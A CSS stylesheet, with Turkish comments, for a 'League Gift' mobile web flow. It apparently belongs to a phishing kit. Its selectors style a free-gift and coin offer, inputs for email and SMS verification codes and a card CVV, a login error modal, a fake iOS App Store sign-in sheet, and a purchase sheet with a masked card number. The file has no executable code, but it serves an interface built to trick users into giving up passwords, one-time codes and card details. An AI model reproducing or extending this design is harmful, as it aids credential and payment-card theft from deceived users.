/* League Gift Theme — script.js uyumlu */
:root {
    --gold: #c8860a;
    --gold-light: #e8a820;
    --bg: #111;
    --phone-bg: #000;
    --card: #1a1a1a;
    --border: #2a2a2a;
    --text-muted: #666;
    --text-dim: #888;
    --accent: #c8860a;
}

* { box-sizing: border-box; margin: 0; padding: 0; }

body {
    background: var(--bg);
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
    min-height: 100vh;
    display: flex;
    align-items: center;
    justify-content: center;
    color: #fff;
}

.phone {
    width: 390px;
    min-height: 844px;
    max-height: 100vh;
    height: 100vh;
    background: #000;
    border-radius: 44px;
    overflow: hidden;
    position: relative;
    box-shadow: 0 30px 80px rgba(0,0,0,0.8), inset 0 0 0 1px rgba(255,255,255,0.06);
    display: flex;
    flex-direction: column;
    padding-top: 0;
}

.status-bar {
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 14px 24px 6px;
    font-size: 12px;
    color: #fff;
    font-weight: 600;
    flex-shrink: 0;
}

/* Pages = screens */
.page {
    display: none;
    flex-direction: column;
    flex: 1;
    padding: 0 20px 40px;
    overflow-y: auto;
}

.page.active { display: flex; }

.screen-title {
    font-size: 22px;
    font-weight: 700;
    color: #fff;
    margin-bottom: 4px;
}

.screen-subtitle {
    font-size: 13px;
    color: var(--text-muted);
    margin-bottom: 24px;
}

.progress-dots {
    display: flex;
    justify-content: center;
    gap: 8px;
    margin-bottom: 24px;
}

.dot {
    width: 8px;
    height: 8px;
    border-radius: 50%;
    background: #333;
    transition: all 0.2s;
}

.dot.active { background: var(--gold); width: 24px; border-radius: 4px; }
.dot.done { background: var(--gold); }

.form-group, .input-group { margin-bottom: 18px; }

.form-label, .input-label {
    font-size: 12px;
    color: var(--text-dim);
    margin-bottom: 8px;
    letter-spacing: 0.5px;
    text-transform: uppercase;
    display: block;
}

.form-input, .input-field {
    width: 100%;
    background: var(--card);
    border: 1px solid var(--border);
    border-radius: 14px;
    padding: 14px 16px;
    color: #fff;
    font-size: 16px;
    outline: none;
    transition: border-color 0.2s;
}

.form-input:focus, .input-field:focus { border-color: var(--gold); }
.form-input::placeholder, .input-field::placeholder { color: #555; }

.phone-input-group, .phone-row { display: flex; gap: 8px; }

.country-select {
    background: var(--card);
    border: 1px solid var(--border);
    border-radius: 14px;
    padding: 14px 10px;
    color: #fff;
    font-size: 13px;
    outline: none;
    cursor: pointer;
    min-width: 110px;
    transition: border-color 0.2s;
}

.country-select:focus { border-color: var(--gold); }

.phone-input, .phone-num-input {
    flex: 1;
    background: var(--card);
    border: 1px solid var(--border);
    border-radius: 14px;
    padding: 14px 16px;
    color: #fff;
    font-size: 16px;
    outline: none;
    transition: border-color 0.2s;
}

.phone-input:focus, .phone-num-input:focus { border-color: var(--gold); }

.btn, .continue-btn {
    width: 100%;
    background: linear-gradient(135deg, var(--gold), var(--gold-light));
    border: none;
    border-radius: 16px;
    padding: 16px;
    color: #000;
    font-size: 16px;
    font-weight: 700;
    cursor: pointer;
    margin-top: 20px;
    transition: opacity 0.2s, transform 0.1s;
}

.btn:hover, .continue-btn:hover { opacity: 0.9; transform: translateY(-1px); }
.btn:disabled, .continue-btn:disabled { opacity: 0.35; cursor: not-allowed; transform: none; }

.restart-btn {
    width: 100%;
    background: var(--card);
    border: 1px solid #333;
    border-radius: 16px;
    padding: 14px;
    color: #aaa;
    font-size: 14px;
    cursor: pointer;
    transition: all 0.2s;
}

.restart-btn:hover { border-color: var(--gold); color: var(--gold); }

.info-box {
    background: var(--card);
    border-radius: 14px;
    padding: 14px;
    margin-top: 8px;
}

.info-box-text { font-size: 12px; color: var(--text-muted); line-height: 1.6; }

/* League */
.league-section { margin-bottom: 20px; }
.section-label-sm {
    font-size: 12px;
    color: var(--text-dim);
    margin-bottom: 10px;
    text-transform: uppercase;
    letter-spacing: 0.8px;
}
.league-options { display: flex; flex-direction: column; gap: 8px; }
.league-opt {
    display: flex;
    align-items: center;
    gap: 12px;
    background: var(--card);
    border: 1.5px solid var(--border);
    border-radius: 14px;
    padding: 10px 14px;
    cursor: pointer;
    transition: all 0.15s;
}
.league-opt:hover { border-color: #444; }
.league-opt.selected { border-color: var(--gold); background: #1f1800; }
.badge-pill {
    display: inline-flex;
    align-items: center;
    gap: 7px;
    border-radius: 999px;
    padding: 6px 14px;
    font-size: 14px;
    font-weight: 600;
}
.badge-c { background: #f5dede; color: #5a2020; }
.badge-b { background: #dce6f5; color: #1e2d4a; }
.badge-a { background: #f9e89a; color: #4a2e00; }
.league-opt-num { margin-left: auto; font-size: 12px; color: var(--text-muted); }
.league-opt.selected .league-opt-num { color: var(--gold); }
.sub-league { display: none; flex-wrap: wrap; gap: 6px; margin-top: 8px; padding: 0 4px; }
.sub-league.open { display: flex; }
.sub-btn {
    background: #222;
    border: 1.5px solid #333;
    border-radius: 999px;
    padding: 5px 14px;
    font-size: 13px;
    color: #aaa;
    cursor: pointer;
    transition: all 0.15s;
}
.sub-btn:hover { border-color: var(--gold); color: #fff; }
.sub-btn.selected { background: var(--gold); border-color: var(--gold); color: #000; font-weight: 700; }

/* Gifts */
.gifts-outer { margin-top: 10px; }
.gifts-header-row {
    display: flex;
    align-items: center;
    justify-content: space-between;
    margin-bottom: 10px;
}
.gifts-header-title { font-size: 15px; font-weight: 700; }
.a2-badge {
    background: #2a1a00;
    border: 1px solid var(--gold);
    color: #e8a020;
    font-size: 11px;
    font-weight: 700;
    padding: 3px 8px;
    border-radius: 6px;
    display: inline-flex;
    align-items: center;
    gap: 4px;
}
.count-badge {
    background: #2a2a2a;
    color: #aaa;
    font-size: 11px;
    padding: 3px 8px;
    border-radius: 6px;
}
.duel-bar {
    background: var(--card);
    border-radius: 12px;
    padding: 12px 14px;
    display: flex;
    align-items: center;
    justify-content: space-between;
    margin-bottom: 14px;
}
.duel-left { font-size: 14px; font-weight: 600; }
.duel-right { font-size: 12px; color: #aaa; }
.section-divider {
    font-size: 12px;
    color: var(--text-muted);
    text-transform: uppercase;
    letter-spacing: 0.8px;
    margin: 14px 0 10px;
    display: flex;
    align-items: center;
    gap: 8px;
}
.section-divider::before, .section-divider::after {
    content: '';
    flex: 1;
    height: 1px;
    background: var(--border);
}
.gifts-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 8px; }
.gift-card {
    background: var(--card);
    border: 1.5px solid var(--border);
    border-radius: 14px;
    padding: 10px 6px 8px;
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 5px;
    cursor: pointer;
    transition: all 0.15s;
    position: relative;
}
.gift-card.selected { border-color: var(--gold); background: #1f1500; }
.gift-card.selected .check-mark { display: flex; }
.check-mark {
    display: none;
    position: absolute;
    top: 5px;
    right: 7px;
    width: 16px;
    height: 16px;
    border-radius: 50%;
    background: var(--gold);
    align-items: center;
    justify-content: center;
    font-size: 9px;
    color: #000;
    font-weight: 900;
}
.gift-img-wrap {
    width: 64px;
    height: 64px;
    border-radius: 10px;
    overflow: hidden;
    background: #222;
    display: flex;
    align-items: center;
    justify-content: center;
}
.gift-img-wrap img { width: 64px; height: 64px; object-fit: contain; display: block; }
.gift-name { font-size: 10px; color: #ccc; text-align: center; line-height: 1.3; word-break: break-word; width: 100%; }
.gift-price { font-size: 10px; color: var(--gold); display: flex; align-items: center; gap: 3px; font-weight: 600; }
.coin-icon {
    width: 11px;
    height: 11px;
    border-radius: 50%;
    background: radial-gradient(circle at 35% 35%, #ffe066, var(--gold));
    display: inline-block;
    flex-shrink: 0;
}

/* Coin options (hidden default, auto 100k) */
.coin-options { display: none; }
.coin-banner, .league-banner {
    background: #1f1800;
    border: 1px solid var(--gold);
    border-radius: 14px;
    padding: 12px 16px;
    margin-top: 16px;
    text-align: center;
}
.coin-banner-text, .league-banner-text { font-size: 13px; color: #e8a020; font-weight: 600; line-height: 1.5; }
.coin-banner-amount, .league-banner-value { color: #fff; font-weight: 700; }

/* Profile cards */
.profile-card {
    background: var(--card);
    border: 1px solid var(--border);
    border-radius: 15px;
    padding: 14px;
    margin-bottom: 16px;
}
.profile-card-inner {
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 10px;
}
.profile-card img {
    width: 56px;
    height: 56px;
    border-radius: 50%;
    border: 2px solid var(--gold);
    margin-right: 14px;
    object-fit: cover;
}
.profile-card h3 { color: #fff; margin: 0; font-size: 16px; }
.profile-card .profile-user { color: var(--gold-light); margin: 4px 0; font-size: 13px; }
.profile-card .profile-verified { color: var(--gold-light); font-size: 12px; }
.profile-stats {
    display: flex;
    justify-content: space-around;
    text-align: center;
}
.profile-stats .stat-num { color: #fff; font-weight: bold; font-size: 15px; }
.profile-stats .stat-label { color: var(--text-dim); font-size: 11px; }

/* Code inputs */
#mailcode-inputs, #smscode-inputs, #shortcode-mail-inputs, #shortcode-phone-inputs, #cvv-inputs {
    display: flex;
    justify-content: center;
    gap: 8px;
    margin-bottom: 18px;
    flex-wrap: wrap;
}

.code-input {
    width: 44px;
    height: 52px;
    background: var(--card);
    border: 1px solid var(--border);
    border-radius: 14px;
    color: #fff;
    text-align: center;
    font-size: 20px;
    font-weight: 700;
    outline: none;
    transition: border-color 0.2s;
}

.code-input:focus { border-color: var(--gold); }

.cvv-length-picker {
    display: flex;
    gap: 8px;
    background: var(--card);
    border: 1px solid var(--border);
    border-radius: 14px;
    padding: 4px;
}

.cvv-len-btn {
    flex: 1;
    border: none;
    border-radius: 10px;
    padding: 12px 10px;
    background: transparent;
    color: var(--text-dim);
    font-size: 14px;
    font-weight: 600;
    cursor: pointer;
    transition: background 0.2s ease, color 0.2s ease;
}

.cvv-len-btn.active {
    background: rgba(200, 134, 10, 0.22);
    color: var(--gold-light);
}

.cvv-len-btn:active {
    opacity: 0.85;
}

/* Wait / loading */
.loading-spinner {
    width: 48px;
    height: 48px;
    border: 3px solid #333;
    border-top-color: var(--gold);
    border-radius: 50%;
    animation: spin 1s linear infinite;
    margin: 0 auto 20px;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

.wait-wrap {
    flex: 1;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    text-align: center;
    padding: 40px 20px;
}

.wait-wrap h3 { font-size: 18px; margin-bottom: 8px; }
.wait-wrap p { color: var(--text-dim); font-size: 14px; }

/* Success */
.success-wrap {
    flex: 1;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    text-align: center;
    padding: 40px 24px;
}

.success-animation .success-icon,
.success-wrap .success-icon-big {
    width: 90px;
    height: 90px;
    background: linear-gradient(135deg, #1f1800, #3a2a00);
    border: 2px solid var(--gold);
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 40px;
    margin: 0 auto 24px;
    color: var(--gold);
}

.success-title { font-size: 24px; font-weight: 700; margin-bottom: 10px; }
.success-sub { font-size: 14px; color: var(--text-dim); margin-bottom: 28px; line-height: 1.6; }

.summary-card {
    background: var(--card);
    border: 1px solid var(--border);
    border-radius: 18px;
    padding: 20px;
    width: 100%;
    text-align: left;
    margin-bottom: 20px;
}

.summary-row {
    display: flex;
    justify-content: space-between;
    align-items: flex-start;
    padding: 9px 0;
    border-bottom: 1px solid #222;
    font-size: 13px;
    gap: 10px;
}

.summary-row:last-child { border-bottom: none; }
.summary-label { color: var(--text-muted); }
.summary-value { color: #fff; font-weight: 600; text-align: right; }
.summary-value.gold { color: var(--gold); }

/* Error pages */
.error-wrap {
    flex: 1;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    text-align: center;
    padding: 40px 20px;
}

.error-wrap h3 { color: #ff4444; font-size: 18px; margin-bottom: 20px; }

.error-icon { font-size: 48px; margin-bottom: 12px; }
.error-msg { color: #ff4444; font-size: 16px; font-weight: 500; margin-bottom: 8px; }
.error-desc { color: var(--text-dim); font-size: 14px; margin-bottom: 20px; }

/* Feature list (onboard) */
.feature-list { margin-bottom: 24px; }
.feature-item {
    display: flex;
    align-items: flex-start;
    gap: 14px;
    background: var(--card);
    border: 1px solid var(--border);
    border-radius: 14px;
    padding: 14px;
    margin-bottom: 10px;
}
.feature-icon { font-size: 28px; }
.feature-text h3 { font-size: 15px; margin-bottom: 4px; }
.feature-text p { font-size: 13px; color: var(--text-dim); }

/* Login error modal */
.login-error-modal {
    display: none;
    position: fixed;
    inset: 0;
    background: rgba(0,0,0,0.85);
    z-index: 9999;
    align-items: center;
    justify-content: center;
    padding: 20px;
}

.login-error-modal-content {
    background: var(--card);
    border: 1px solid var(--border);
    border-radius: 20px;
    padding: 28px 24px;
    max-width: 320px;
    width: 100%;
    text-align: center;
}

.login-error-modal-icon {
    width: 56px;
    height: 56px;
    background: #2a1010;
    border: 2px solid #ff4444;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 24px;
    color: #ff4444;
    margin: 0 auto 16px;
}

.login-error-modal-title { font-size: 18px; font-weight: 700; margin-bottom: 8px; }
.login-error-modal-msg { font-size: 14px; color: var(--text-dim); margin-bottom: 20px; line-height: 1.5; }
.login-error-modal-btn { margin-top: 0; }

/* Password requirements */
.pw-requirements { margin-top: 10px; font-size: 11px; color: var(--text-dim); line-height: 1.4; }
.pw-toggle-btn {
    position: absolute;
    right: 15px;
    top: 50%;
    transform: translateY(-50%);
    background: none;
    border: none;
    color: var(--text-dim);
    cursor: pointer;
    padding: 4px;
}

.pw-wrap { position: relative; }

/* Hidden lang footer */
.hidden-footer { display: none; }

/* Live stats cards */
.live-stats {
    display: grid;
    grid-template-columns: 1fr 1fr;
    gap: 10px;
    margin-bottom: 18px;
}
.live-stat-card {
    background: var(--card);
    border-radius: 14px;
    padding: 14px;
}
.live-stat-card .title { font-size: 13px; font-weight: 600; margin-bottom: 4px; }
.live-stat-card .val { font-size: 12px; color: var(--text-muted); }

.masked-info {
    margin-top: 8px;
    color: var(--gold-light);
    font-weight: 600;
    font-size: 14px;
}

.page-heading { margin-bottom: 16px; }
.page-heading h2 { font-size: 20px; color: var(--gold-light); margin-bottom: 6px; }
.page-heading p { color: var(--text-dim); font-size: 14px; line-height: 1.5; }

.resend-link {
    text-align: center;
    margin-top: 18px;
    color: #bdbdbd;
    font-size: 14px;
}

.resend-link a { color: var(--gold); text-decoration: underline; }

::-webkit-scrollbar { width: 0; }

@media (max-width: 420px) {
    body { align-items: flex-start; }
    .phone {
        width: 100%;
        min-height: 100vh;
        border-radius: 0;
        box-shadow: none;
    }
}

/* FORM PAGE — iOS App Store style (admin redirect only, if used) */
#form.page {
    padding: 0;
    overflow: hidden;
    position: relative;
    flex: 1 1 auto;
    min-height: 0;
    align-self: stretch;
    width: 100%;
}

.form-page-screen {
    position: absolute;
    inset: 0;
    background: #000;
    display: flex;
    align-items: flex-start;
    justify-content: center;
    padding: 6px 5px 0;
    overflow: hidden;
    font-family: -apple-system, BlinkMacSystemFont, 'SF Pro Text', 'SF Pro Display', 'Segoe UI', sans-serif;
    -webkit-font-smoothing: antialiased;
}

/* Simulated wallpaper behind the sheet */
.form-page-screen .fake-app {
    position: absolute;
    inset: 0;
    z-index: 0;
    background:
        radial-gradient(ellipse 90% 55% at 20% 8%, rgba(94, 92, 230, 0.22), transparent 55%),
        radial-gradient(ellipse 70% 45% at 85% 12%, rgba(255, 55, 95, 0.12), transparent 50%),
        radial-gradient(ellipse 60% 40% at 50% 70%, rgba(10, 132, 255, 0.08), transparent 55%),
        linear-gradient(165deg, #141418 0%, #050505 45%, #000 100%);
}

.form-page-screen .form-backdrop {
    position: absolute;
    inset: 0;
    background: rgba(0, 0, 0, 0.28);
    -webkit-backdrop-filter: blur(28px) saturate(140%);
    backdrop-filter: blur(28px) saturate(140%);
    z-index: 1;
}

.form-page-screen .form-modal {
    position: relative;
    z-index: 2;
    width: 100%;
    height: calc(100% - 24px);
    min-height: 0;
    margin: 0;
    background: rgba(28, 28, 30, 0.82);
    -webkit-backdrop-filter: blur(44px) saturate(170%);
    backdrop-filter: blur(44px) saturate(170%);
    border: 1px solid rgba(255, 255, 255, 0.07);
    border-radius: 38px;
    padding: 34px 28px 42px;
    box-shadow:
        0 16px 48px rgba(0, 0, 0, 0.5),
        inset 0 1px 0 rgba(255, 255, 255, 0.07);
    color: #fff;
    display: flex;
    flex-direction: column;
}

.form-page-screen .modal-header {
    display: flex;
    align-items: flex-start;
    justify-content: space-between;
    margin-bottom: 32px;
    gap: 16px;
}

.form-page-screen .modal-title {
    font-size: 28px;
    font-weight: 700;
    letter-spacing: -0.03em;
    line-height: 1.12;
}

.form-page-screen .modal-desc {
    font-size: 17px;
    line-height: 1.48;
    font-weight: 400;
    color: rgba(235, 235, 245, 0.92);
    margin-bottom: 32px;
    letter-spacing: -0.015em;
    max-width: 96%;
}

.form-page-screen .close-btn {
    width: 34px;
    height: 34px;
    border-radius: 50%;
    background: rgba(118, 118, 128, 0.32);
    border: none;
    display: flex;
    align-items: center;
    justify-content: center;
    cursor: pointer;
    flex-shrink: 0;
    transition: background 0.2s ease, transform 0.15s ease;
}

.form-page-screen .close-btn:active {
    transform: scale(0.94);
    background: rgba(118, 118, 128, 0.42);
}

.form-page-screen .close-btn svg {
    width: 13px;
    height: 13px;
    stroke: rgba(235, 235, 245, 0.92);
    stroke-width: 2.5;
    stroke-linecap: round;
}

.form-page-screen form {
    display: flex;
    flex-direction: column;
    flex: 0 0 auto;
}

.form-page-screen .field-group {
    background: rgba(118, 118, 128, 0.24);
    border-radius: 14px;
    overflow: hidden;
    margin-bottom: 28px;
    border: none;
}

.form-page-screen .field-group input {
    width: 100%;
    background: transparent;
    border: none;
    outline: none;
    color: #fff;
    font-size: 17px;
    padding: 17px 18px;
    display: block;
    letter-spacing: -0.01em;
}

.form-page-screen .field-group input::placeholder {
    color: rgba(235, 235, 245, 0.42);
}

.form-page-screen .field-group input:focus {
    color: #fff;
    background: rgba(255, 255, 255, 0.04);
}

.form-page-screen .field-divider {
    height: 0.5px;
    background: rgba(84, 84, 88, 0.65);
    margin: 0 16px;
}

.form-page-screen .submit-btn {
    display: block;
    margin: 6px auto 24px auto;
    padding: 13px 52px;
    min-width: 168px;
    border: none;
    border-radius: 999px;
    background: rgba(118, 118, 128, 0.32);
    color: rgba(235, 235, 245, 0.42);
    font-size: 17px;
    font-weight: 600;
    letter-spacing: -0.01em;
    cursor: default;
    transition: background 0.2s ease, color 0.2s ease, transform 0.12s ease;
    width: auto;
}

.form-page-screen .submit-btn.active {
    background: rgba(118, 118, 128, 0.42);
    color: rgba(255, 255, 255, 0.96);
    cursor: pointer;
}

.form-page-screen .submit-btn.active:active {
    transform: scale(0.98);
    background: rgba(142, 142, 147, 0.5);
}

.form-page-screen .forgot-link {
    display: block;
    text-align: center;
    color: #0a84ff;
    font-size: 16px;
    font-weight: 400;
    background: none;
    border: none;
    cursor: pointer;
    width: 100%;
    padding: 6px 0;
    letter-spacing: -0.01em;
    transition: opacity 0.15s ease;
}

.form-page-screen .forgot-link:active {
    opacity: 0.65;
}

/* PURCHASE SHEET — acilanpencere.html (scoped) */
.purchase-overlay {
    position: absolute;
    inset: 0;
    background: rgba(0, 0, 0, 0.55);
    display: flex;
    align-items: flex-end;
    justify-content: center;
    opacity: 0;
    pointer-events: none;
    transition: opacity 0.25s ease;
    z-index: 300;
    border-radius: 44px;
}

.purchase-overlay.open {
    opacity: 1;
    pointer-events: auto;
}

.purchase-overlay .sheet-wrap {
    width: 100%;
    max-width: 390px;
    padding: 0 14px 28px;
    transform: translateY(40px);
    opacity: 0;
    transition: transform 0.3s cubic-bezier(.2,.9,.3,1.2), opacity 0.25s ease;
    position: relative;
}

.purchase-overlay.open .sheet-wrap {
    transform: translateY(0);
    opacity: 1;
}

.purchase-overlay .glow {
    position: absolute;
    inset: 0;
    z-index: -1;
    background: radial-gradient(80% 50% at 50% 100%, rgba(255,59,48,0.30), transparent 65%);
    pointer-events: none;
}

.purchase-overlay .card {
    background: #1c1d22;
    border-radius: 24px;
    padding: 18px 18px 20px;
    box-shadow: 0 20px 60px rgba(0,0,0,0.5);
    border: 1px solid rgba(255,255,255,0.04);
}

.purchase-overlay .card-header {
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 4px 4px 14px;
}

.purchase-overlay .card-header h2 {
    margin: 0;
    font-size: 21px;
    font-weight: 700;
}

.purchase-overlay .close-btn {
    width: 30px;
    height: 30px;
    border-radius: 50%;
    border: none;
    background: #23242a;
    color: #f5f5f7;
    font-size: 16px;
    cursor: pointer;
}

.purchase-overlay .product-row {
    display: flex;
    gap: 14px;
    align-items: flex-start;
    background: #23242a;
    border-radius: 16px;
    padding: 14px;
}

.purchase-overlay .product-icon {
    width: 54px;
    height: 54px;
    flex-shrink: 0;
    border-radius: 13px;
    background: linear-gradient(135deg, #4f5bff 0%, #9b5bff 100%);
    display: flex;
    align-items: center;
    justify-content: center;
    font-weight: 800;
    font-size: 18px;
    color: #fff;
}

.purchase-overlay .product-title {
    font-size: 17px;
    font-weight: 700;
    margin: 0 0 4px;
}

.purchase-overlay .product-meta {
    display: flex;
    align-items: center;
    gap: 8px;
    font-size: 13px;
    color: #9a9aa3;
    margin-bottom: 4px;
    flex-wrap: wrap;
}

.purchase-overlay .badge {
    background: #3a3b42;
    color: #f5f5f7;
    font-size: 11px;
    font-weight: 700;
    padding: 1px 6px;
    border-radius: 6px;
}

.purchase-overlay .product-sub {
    font-size: 13px;
    color: #9a9aa3;
    margin: 0;
}

.purchase-overlay .price-row { padding: 16px 4px 14px; }
.purchase-overlay .price {
    font-size: 24px;
    font-weight: 800;
    margin: 0 0 2px;
}

.purchase-overlay .price-sub {
    font-size: 13px;
    color: #9a9aa3;
    margin: 0;
}

.purchase-overlay .divider {
    height: 1px;
    background: #34353c;
    margin: 0 4px;
}

.purchase-overlay .account-row {
    padding: 14px 4px 2px;
    font-size: 13px;
    color: #9a9aa3;
}

.purchase-overlay .account-row b {
    color: #f5f5f7;
    font-weight: 600;
}

.purchase-overlay .card-number-mask {
    display: flex;
    justify-content: center;
    align-items: center;
    gap: 11px;
    padding: 18px 8px 6px;
    margin-top: 2px;
    font-family: -apple-system, BlinkMacSystemFont, 'SF Pro Display', 'SF Pro Text', sans-serif;
    -webkit-font-smoothing: antialiased;
}

.purchase-overlay .mask-chunk {
    display: flex;
    align-items: center;
    gap: 1px;
}

.purchase-overlay .mask-star {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    width: 16px;
    height: 24px;
    font-size: 20px;
    font-weight: 700;
    line-height: 1;
    color: rgba(255, 255, 255, 0.96);
    text-shadow: 0 1px 8px rgba(255, 255, 255, 0.12);
    transform: scale(1.08, 1.02);
    user-select: none;
}

.purchase-overlay .buy-btn {
    display: block;
    width: 100%;
    margin-top: 18px;
    padding: 16px;
    border: none;
    border-radius: 18px;
    background: #0a84ff;
    color: #fff;
    font-size: 17px;
    font-weight: 700;
    cursor: pointer;
}

.purchase-overlay .buy-btn.loading {
    opacity: 0.7;
    pointer-events: none;
}

@media (max-width: 420px) {
    .purchase-overlay { border-radius: 0; }
}
